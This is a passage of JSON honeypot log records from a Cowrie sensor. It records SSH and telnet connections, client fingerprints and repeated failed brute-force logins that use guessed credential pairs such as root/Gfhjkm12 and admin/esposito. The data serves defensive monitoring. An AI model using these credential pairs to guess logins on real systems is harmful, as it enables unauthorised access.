f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:03.119862Z","src_ip":"43.156.212.86","session":"7b5f3942bf1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2010","message":"login attempt [root/root2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:04.099694Z","src_ip":"43.156.212.86","session":"7b5f3942bf1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:05.341232Z","src_ip":"43.156.212.86","session":"7b5f3942bf1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":46208,"dst_ip":"159.203.135.109","dst_port":22,"session":"b257752bc57f","protocol":"ssh","message":"New connection: 160.22.18.220:46208 (159.203.135.109:22) [session: b257752bc57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:13.790148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:13.798528Z","src_ip":"160.22.18.220","session":"b257752bc57f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:14.040477Z","src_ip":"160.22.18.220","session":"b257752bc57f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:14.993972Z","src_ip":"160.22.18.220","session":"b257752bc57f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:16.237324Z","src_ip":"160.22.18.220","session":"b257752bc57f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":40682,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ba68b287fab","protocol":"ssh","message":"New connection: 152.32.172.177:40682 (10.17.0.5:22) [session: 0ba68b287fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:58.863034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:58.868667Z","src_ip":"152.32.172.177","session":"0ba68b287fab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:06:59.089837Z","src_ip":"152.32.172.177","session":"0ba68b287fab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sklep","message":"login attempt [root/sklep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:00.000319Z","src_ip":"152.32.172.177","session":"0ba68b287fab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:01.223909Z","src_ip":"152.32.172.177","session":"0ba68b287fab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":52384,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a2132617ccc","protocol":"ssh","message":"New connection: 177.234.174.18:52384 (10.17.0.5:22) [session: 5a2132617ccc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:04.156835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:04.165984Z","src_ip":"177.234.174.18","session":"5a2132617ccc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:04.304958Z","src_ip":"177.234.174.18","session":"5a2132617ccc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ad1tzminer123!","message":"login attempt [root/ad1tzminer123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:04.890589Z","src_ip":"177.234.174.18","session":"5a2132617ccc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:06.033126Z","src_ip":"177.234.174.18","session":"5a2132617ccc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.12.31.247","src_port":40080,"dst_ip":"10.17.0.5","dst_port":23,"session":"69a06905037e","protocol":"telnet","message":"New connection: 38.12.31.247:40080 (10.17.0.5:23) [session: 69a06905037e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:08.358943Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":55704,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa26d0d2a7f","protocol":"telnet","message":"New connection: 167.71.238.254:55704 (10.17.0.5:23) [session: caa26d0d2a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:16.173503Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":41260,"dst_ip":"10.17.0.5","dst_port":22,"session":"eccc35a201bc","protocol":"ssh","message":"New connection: 43.156.212.86:41260 (10.17.0.5:22) [session: eccc35a201bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:17.145253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:17.150353Z","src_ip":"43.156.212.86","session":"eccc35a201bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:17.387598Z","src_ip":"43.156.212.86","session":"eccc35a201bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gfhjkm12","message":"login attempt [root/Gfhjkm12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:18.367639Z","src_ip":"43.156.212.86","session":"eccc35a201bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:19.612531Z","src_ip":"43.156.212.86","session":"eccc35a201bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":56298,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7b2ca2b1680","protocol":"ssh","message":"New connection: 40.78.155.180:56298 (10.17.0.5:22) [session: e7b2ca2b1680]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:24.365861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:24.370309Z","src_ip":"40.78.155.180","session":"e7b2ca2b1680","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:24.412854Z","src_ip":"40.78.155.180","session":"e7b2ca2b1680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amazon","message":"login attempt [root/amazon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:24.607375Z","src_ip":"40.78.155.180","session":"e7b2ca2b1680","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":54314,"dst_ip":"159.203.135.109","dst_port":22,"session":"26fed2616414","protocol":"ssh","message":"New connection: 135.235.138.43:54314 (159.203.135.109:22) [session: 26fed2616414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:24.894140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:24.898863Z","src_ip":"135.235.138.43","session":"26fed2616414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:25.087545Z","src_ip":"135.235.138.43","session":"26fed2616414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:25.650241Z","src_ip":"40.78.155.180","session":"e7b2ca2b1680","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P$ssword","message":"login attempt [root/P$ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:25.874065Z","src_ip":"135.235.138.43","session":"26fed2616414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:27.069424Z","src_ip":"135.235.138.43","session":"26fed2616414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":43072,"dst_ip":"159.203.135.109","dst_port":22,"session":"883f81c6988e","protocol":"ssh","message":"New connection: 160.22.18.220:43072 (159.203.135.109:22) [session: 883f81c6988e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:33.711755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:33.716861Z","src_ip":"160.22.18.220","session":"883f81c6988e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:33.945258Z","src_ip":"160.22.18.220","session":"883f81c6988e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator@1","message":"login attempt [root/administrator@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:34.878345Z","src_ip":"160.22.18.220","session":"883f81c6988e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:36.107830Z","src_ip":"160.22.18.220","session":"883f81c6988e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":21.824760675430298,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:37.998111Z","src_ip":"167.71.238.254","session":"caa26d0d2a7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":41014,"dst_ip":"159.203.135.109","dst_port":22,"session":"60c647c15a85","protocol":"ssh","message":"New connection: 2.57.121.112:41014 (159.203.135.109:22) [session: 60c647c15a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:42.704726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:42.709757Z","src_ip":"2.57.121.112","session":"60c647c15a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:42.816062Z","src_ip":"2.57.121.112","session":"60c647c15a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"esposito","message":"login attempt [admin/esposito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:43.293851Z","src_ip":"2.57.121.112","session":"60c647c15a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"erbol","message":"login attempt [admin/erbol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:44.398628Z","src_ip":"2.57.121.112","session":"60c647c15a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ePWR49","message":"login attempt [admin/ePWR49] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:07:45.504267Z","src_ip":"2.57.121.112","session":"60c647c15a85","protocol":"ssh"}
